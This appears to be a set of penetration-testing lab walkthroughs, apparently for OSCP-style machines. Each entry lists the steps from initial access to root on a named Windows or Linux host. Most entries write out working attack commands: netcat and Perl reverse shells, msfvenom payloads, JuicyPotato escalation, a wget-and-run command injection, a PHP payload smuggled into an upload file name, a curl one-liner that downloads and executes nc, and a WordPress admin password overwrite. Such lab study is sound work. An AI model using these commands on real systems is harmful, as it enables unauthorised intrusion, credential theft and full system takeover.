Home Study	
IP Address	192.168.XX.42
Operating System	Windows
Similar Machine	Similar to HTB's Conceal and Bounty for Root

Exploit to Getting User

1. Website is running in Apache and vulnerable to JSP Upload Bypass / Remote Code Execution - https://www.exploit-db.com/exploits/42966
2. Exploit Usage: ***python 42966.py -u http://192.168.XX.42:8080 -p pwn***
3. User Shell!
4. If you want to improve your shell access use powershell's reverse shell in base 64 - https://gist.github.com/tothi/ab288fb523a4b32b51a53e542d40fe58

Privilege Escalation to Root

1. Machine is using a Windows 10 Pro and the ***SeImpersonatePrivilege*** is enabled.
2. Download JuicyPotato - https://github.com/ohpe/juicy-potato
3. Upload a nc binary to target machine and run the command: ***echo C:\Users\Rob\Desktop\nc.exe 192.168.123.123 12345 -e cmd.exe > rev.bat***
4. Setup netcat listener in your local machine
5. Go to https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_10_Pro and copy a CLSID
6. Run ***JuicyPotato.exe -l 9997 -p C:\Users\Rob\Desktop\rev.bat -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}***
7. Root Shell!

SOCKET / WP	
IP Address	192.168.XX.46
Operating System	Windows
Similar Machine	-

Exploit to Getting User

1. Gobuster the port 8081 to get the readme.txt and history.txt - ***gobuster -u http://192.168.XX.46:8081 -w /opt/SecLists/Discovery/Web-Content/common.txt -x txt,php,asp,db***
2. CyBroHttpServer 1.0.3 is vulnerable to Directory Traversal - https://www.exploit-db.com/exploits/45303
3. http://192.168.XX.46:8081/..\..\..\..\xampp\htdocs\blog\wp-config.php
4. Get the credential
5. Connect to MySQL - ***mysql -u root -h 192.168.XX.46 -p***
6. Use ***wordpress*** database and ***select * from wp_users***
7. Run ***UPDATE `wp_users` SET `user_pass`= MD5('bypassed') WHERE `user_login`='admin';***
8. Login to http://192.168.XX.46/blog/wp-admin/
9. Go to Theme Editor and edit 404.php
10. Use PHP Reverse Shell
11. Listen to your local machine using netcat
12. User shell!
13. Setup SMB Share if you want and if you have time and improve your reverse shell - ***\\192.168.XX.XX\LOVE\nc.exe 192.168.XX.XX 4445 -e cmd.exe***

Privilege Escalation to Root

1. Conduct Enumeration and let them (proctor) notice that you are a hacker and you perform basic shit.
2. A System Scheduler service is installed in the machine located at ***C:\Program Files\SystemScheduler\WScheduler.exe*** and vulnerable to https://www.exploit-db.com/exploits/45072
3. Its permission is ***Everyone [WriteData/CreateFiles]*** and it will automatically run in startup because ***HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run***
4. In your local machine, create an exe file using msfvenom - ***msfvenom -p windows/shell_reverse_tcp LHOST=192.168.XX.XX LPORT=443 -f exe -a x86 --platform win > WScheduler.exe***
5. Backup the original schedule in the target machine - ***move "C:\Program Files\SystemScheduler\WScheduler.exe" "C:\Program Files\SystemScheduler\WScheduler.back"***
6. Copy your reverse shell to target machine - ***copy \\192.168.XX.XX\LOVE\WScheduler.exe "C:\Program Files\SystemScheduler\"***
7. Restart the target machine - ***shutdown /R***
8. Root shell!

Vulcan	
IP Address	192.168.XX.53
Operating System	Linux
Similar Machine	Similar to TryHackMe's Kenobi for User

Exploit to Getting User

1. Port 20048 (mountd) is open so run ***showmount -e 192.168.XX.53***
2. Create a folder in your machine and run - ***mount -t nfs 192.168.XX.53:/ your_folder/ -no lock***
3. ***cd _0_tyken***
4. Read notes.txt and you'll learn that the user tyken created an SSH key so you have to get it
5. FTP service is vulnerable to https://www.exploit-db.com/exploits/36803 (Unauth RCE)
6. ***nc 192.168.XX.53 21*** then ***cpfr /home/tyken/.ssh/id_rsa*** then ***cpto /var/tmp/id_rsa***
7. Connect to SSH - ***ssh -i id_rsa tyken@192.168.XX.53***
8. User shell!

Privilege Escalation to Root

1. Target machine is running a keybase-redirector and is vulnerable to Local Privilege Escalation - https://www.exploit-db.com/exploits/46044
2. Create a fusermount.c

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char **argv)
{
  setreuid(0,0);
  system("/usr/bin/touch /w00t");
  return(0);
}
```

3. Compile it - ***gcc -Wall fusermount.c -o fusermount*** and upload it to target machine
4. Prepend the PATH env variable with a dot and execute keybase-redirector which in turn will execute the malicious fusermount binary as root. - ***env PATH=.:$PATH /usr/bin/keybase-redirector /keybase***
5. Enter the control-c sequence to kill the application and run the ./w00t binary.
6. Root shell!

Textian	
IP Address	192.168.XX.53
Operating System	Linux
Similar Machine	Almost similar to HTB's Frolic for User and Very Similar to HTB's Haircut for Root

Exploit to Getting User

1. Port scan reveals port ***8787*** and check the robots.txt file and you will get the hidden directory
2. The hidden directory is running a playSMS instance. Use the Copyright 2016 to search about its version.
3. playSMS 1.4 is vulnerable to PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload - https://www.exploit-db.com/exploits/42003
4. Login as admin:admin or register and upload a CSV file
5. Capture the POST request using Burp and edit the file name to ***<?php echo exec('nc -lvnp 9000 > shell.php 2>&1'); ?>.php***
6. In your local machine, transfer the shell.php to target machine by running ***nc -nv 192.168.XX.53 9000 < shell.php***
7. Start a netcat listener to your machine and browse http://192.168.XX.53:8787/2315e8131432505230f581cf689e783a/shell.php
8. User shell!

Privilege Escalation to Root

1. Run a Linux Enumeration Tool
2. You will see a setuid binary called screen-4.5.0 which is vulnerable to Local Privilege Escalation - https://www.exploit-db.com/exploits/41154
3. Setup a python server in your local machine and download the exploit to target machine
4. Run the exploit
5. Root shell!

October	
IP Address	192.168.XX.55
Operating System	Linux
Similar Machine	Similar to HTB's October

Exploit to Getting User

1. October CMS - Upload Protection Bypass Code Execution (Metasploit) - https://www.exploit-db.com/exploits/47376
2. User shell!

Privilege Escalation to Root

1. NfsEn 1.3.7 - https://github.com/patrickfreed/nfsen-exploit
2. Root shell!

Tiki	
IP Address	192.168.XX.67
Operating System	Linux
Similar Machine	-

Exploit to Getting User

1. Tiki Wiki 15.1 - File Upload - https://www.exploit-db.com/exploits/40053
2. User shell!

Privilege Escalation to Root

1. SentryHD 02.01.12e - Local Privilege Escalation - https://www.exploit-db.com/exploits/41090
2. Root shell!

Harakiri	
IP Address	192.168.XX.81
Operating System	Windows
Similar Machine	Similar to HTB's RedCross for User

Exploit to Getting User

1. Target machine has a service called Haraka smtpd 2.8.8 which is vulnerable to RCE - https://www.exploit-db.com/exploits/41162
2. Get Reverse Shell - ***python 41162.py -m YOUR_IP -t root@haraka.test -c "reverse shell here"***
3. User shell!

Privilege Escalation to Root

1. Run sudo -l
2. Check the version of nagios - /usr/local/nagios/bin/nagios --version
3. Nagios is vulnerable to Root Privilege Escalation - https://gist.github.com/xl7dev/322b0f85dc9f6a06573302c7de4f4249
4. Run the exploit - bash nagios-root-privesc.sh /usr/local/nagios/var/nagios.log
5. Root shell!

V1RUS	
IP Address	192.168.XX.84
Operating System	Windows
Similar Machine	Similar to HTB's RedCross for User

Exploit to Getting User

1. The https://192.168.XX.84/ is running a GitStack instance that is vulnerable to RCE - https://www.exploit-db.com/exploits/43777
2. Change the value of IP and command variable.
3. ***command = "C:/GitStack/gitphp/nc.exe 192.168.XX.43 1337 -e cmd.exe"***
4. User shell!

Privilege Escalation to Root

1. The machine is running Windows Server 2009 and the SeImpersonatePrivilege is enabled.
2. Download JuicyPotato - https://github.com/ohpe/juicy-potato and send it to target machine
3. Upload a nc binary to target machine and run the command: echo ***C:/GitStack/gitphp/nc.exe 192.168.XX.43 1338 -c cmd.exe > rev.bat***
4. Find CLSID for Windows Server 2019
5. Run ***JuicyPotato.exe -l 1338 -p C:\GitStack\gitphp\rev.bat -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}***
6. Root shell!

Thelongnight	
IP Address	192.168.XX.95
Operating System	Linux
Similar Machine	Code is similar to https://github.com/lolypop55/html5_snmp and Similar to HTB's Help for Root

Exploit to Getting User

1. Go to Port 4080 and login as admin:admin
2. Command Injection - ***http://192.168.XX.95:4080/ping_router.php?cmd=;wget http://localip/shell.txt -O shell.php***
3. Reverse shell - ***http://192.168.XX.95:4080/shell.php?cmd=perl -e 'use Socket;$i="192.168.xx.xx";$p=22;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'***
4. For the reverse shell make sure you use port 22 to bypass the iptables
5. User shell!

Privilege Escalation to Root

1. Machine Kernel is vulnerable to https://www.exploit-db.com/exploits/45010
2. ***wget http://x.x.x.x:143/45010.c -O /dev/shm/45010.c***
3. ***gcc /dev/shm/45010.c -o /dev/shm/45010***
4. ***./dev/shm/45010***
5. Root shell!

Webpack	
IP Address	192.168.XX.96
Operating System	Linux
Similar Machine	Similar to TryHackMe's Ignite for User

Exploit to Getting User

1. Run un gobuster on port 80 and you will get ***/index.php/fuel***
2. Login as admin:admin
3. FuelCMS is vulnerable to https://www.exploit-db.com/exploits/47138
4. Modify the URL and directories
5. For the reverse shell make sure you use port 80 to bypass the iptables
6. User shell!

Privilege Escalation to Root

1. Run Linux Enumeration script
2. You will see it has ***systemctl***
3. ***/var/www/html/assets/images/*** is writable
4. Follow this - https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49
5. Root shell!

b0f-vic	
IP Address	192.168.XX.111
Operating System	Windows
Similar Machine	Similar to OSCP's Lab

Exploit to Root

1. Controlling Extended Instruction Pointer (EIP) Register - ruby /usr/share/metasploit-framework/tools/pattern_create.rb -l 3000
2. Run the Debugger and run the application then run the exploit
3. Get the EIP value - ruby /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q XXXXXXXX
4. Identify Bad Characters by modifying the exploit and putting the byte array.
5. Redirecting Execution Flow using Mona modules
6. !mona modules - to list down all the modules
7. Then look for modules that has no memory protections such as ASLR or DEP
8. Then make sure that it doesn't have bad characters in its address
9. The only module that is suited for my criteria is offsec_pwk_dll.dll
10. Double click the chosen dll
11. And input !mona find -s "\xff\xe4" -m offsec_pwk_dll.dll
12. Get the instruction address of JMP ESP
13. Create a shell code - msfvenom -p windows/shell_reverse_tcp LHOST=192.168.XX.43 LPORT=1337 -f c -a x86 --platform windows -b "BAD CHARS HERE"
14. Run the exploit
15. Root shell!

Not clear? Just follow the PDF or the Video provided by OSCP LOL.

Bob The Builder	
IP Address	192.168.XX.150
Operating System	Linux
Similar Machine	Similar to Sedna - https://or10nlabs.tech/vulnhub-sedna/

Exploit to Root

1. BuilderEngine 3.5.0 - Arbitrary File Upload - https://www.exploit-db.com/exploits/40390
2. Upload PHP Shell
3. Access it on https://192.168.XX.150:481/build/files/shell.php
4. Root shell!

Locutus	
IP Address	192.168.XX.161
Operating System	Windows
Similar Machine	-

Exploit to Root

1. Machine is vulnerable to https://www.exploit-db.com/exploits/46307
2. Run ***python 46307.py 192.168.XX.152 7337 "touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | nc 192.168.XX.XX 1337 > /tmp/f"***
3. Root shell!

Nagy	
IP Address	192.168.XX.216
Operating System	Linux
Similar Machine	-

Exploit to Getting User

1. Nagios XI 5.5.6 - Remote Code Execution / Privilege Escalation - https://www.exploit-db.com/exploits/46221
2. Run ***python nagios.py -t 192.168.XX.216 -ip 192.168.XX.XX -port 8081 -ncip 192.168.XX.XX -ncport 443***
3. User shell!

Privilege Escalation to Root

1. about.php is writable - https://192.168.32.216/nagvis/about.php
2. Change file as reverse shell file
3. Listen - ***rlwrap nc -nvlp 445***
4. Trying to escalate privs with url: ***https://192.168.XX.216/nagvis/about.php?cmd=echo+%27os.execute%28%22nc+-e+%2Fbin%2Fsh+192.168.XX.XX+445%22%29%27+%3E+%2Fvar%2Ftmp%2Fshell.nse+%26%26+sudo+nmap+--script+%2Fvar%2Ftmp%2Fshell.nse***
5. Root shell!

EDBMACHINE	
IP Address	192.168.XX.218
Operating System	Windows
Similar Machine	-

Exploit to Getting User

1. Hidden directory in robots.txt
2. KikChat is vulnerable to https://www.exploit-db.com/exploits/30235
3. Confirm POC - ***curl -s http://192.168.31.218/8678576453/rooms/get.php\?name\=info.php\&ROOM\="<?php+phpinfo()+?>"***
4. ***allow_url_fopen*** and ***allow_url_include*** are On
5. Upload file to target machine and run - ***curl -s http://192.168.XX.218/8678576453/rooms/get.php\?name=shell1.php\&ROOM\=<?php+file_put_contents('nc.bat',file_get_contens('http://192.168.XX.XX/nc.txt'));system('nc.bat');usleep(2000000);system('nc.exe+-vn+192.168.XX.XX+1234+-cmd.exe');+?>"***
6. Run listener - ***nc -nlvp 1234***
7. User shell!

Privilege Escalation to Root

1. Use metasploit to create reverse shell in exe
2. Upload it on target machine same process as curl
3. Run ***execute -f C:/xampplite/htdocs/8678576453/myroom/evil.exe*** in metasploit
4. execute ***background*** and switch to new sessions ***sessions -i 2***
5. Run ***getuid***
6. Run ***getsystem***
7. Run ***getuid***
8. Root shell!

Rocinante	
IP Address	192.168.XX.221
Operating System	Linux
Similar Machine	HTB's Mischief for SNMP in User and

Exploit to Getting User

1. Run UDP Scan - ***sudo nmap -sU 192.168.XX.221***
2. Download snmp-mibs-downloader - ***apt-get install snmp-mibs-downloader***
3. SNMP is enabled so run this - ***snmpwalk -v 1 -c public 192.168.XX.221 > snmpwalk.out***
4. ***vim /etc/snmp/snmp.conf*** and and comment out the only uncommented line to use the mibs ***mibs +ALL***
5. Run ***snmpwalk -v 1 -c public 192.168.XX.221 hrSWRunParameters*** and you will get *HOST-RESOURCES-MIB::hrSWRunParameters.704 = STRING: "/usr/local/bin/paramiko_2.4.0_sftpserver.py 0.0.0.0 2222 /etc/ssl/roci_rsa.key"*
6. Edit proxychain - ***vim /etc/proxychains.conf*** and put ***http 192.168.XX.221 3128***
7. Then run - ***proxychains curl http://127.0.0.1:2222*** and you will get connected *|S-chain|-<>-192.168.32.221:3128-<><>-127.0.0.1:2222-<><>-OK SSH-2.0-paramiko_2.4.0*
8. Use Paramiko 2.4.1 exploit - https://www.exploit-db.com/exploits/45712
9. Edit the exploit
   Get local - print(sftp.get('/home/roci/local.txt','local.txt'))
   List Dir - print(sftp.listdir('/'))
10. Run **proxychains python exploit.py**
11. Or if you don't want to edit too much in Step 8 to 10. Use this to get reverse shell https://github.com/jm33-m0/CVE-2018-7750/blob/master/rce.py
12. User shell!

Privilege Escalation to Root

1. Follow https://www.exploit-db.com/exploits/1518
2. Check /etc/mysql/mariadb.conf.d/50-server.cnf and /etc/mysql/my.cnf
3. Change the line "user=mysql" to "user=root" in the file /etc/my.cnf.
4. mysql -u root -p
5. You may follow this https://infamoussyn.wordpress.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/ for further exploitation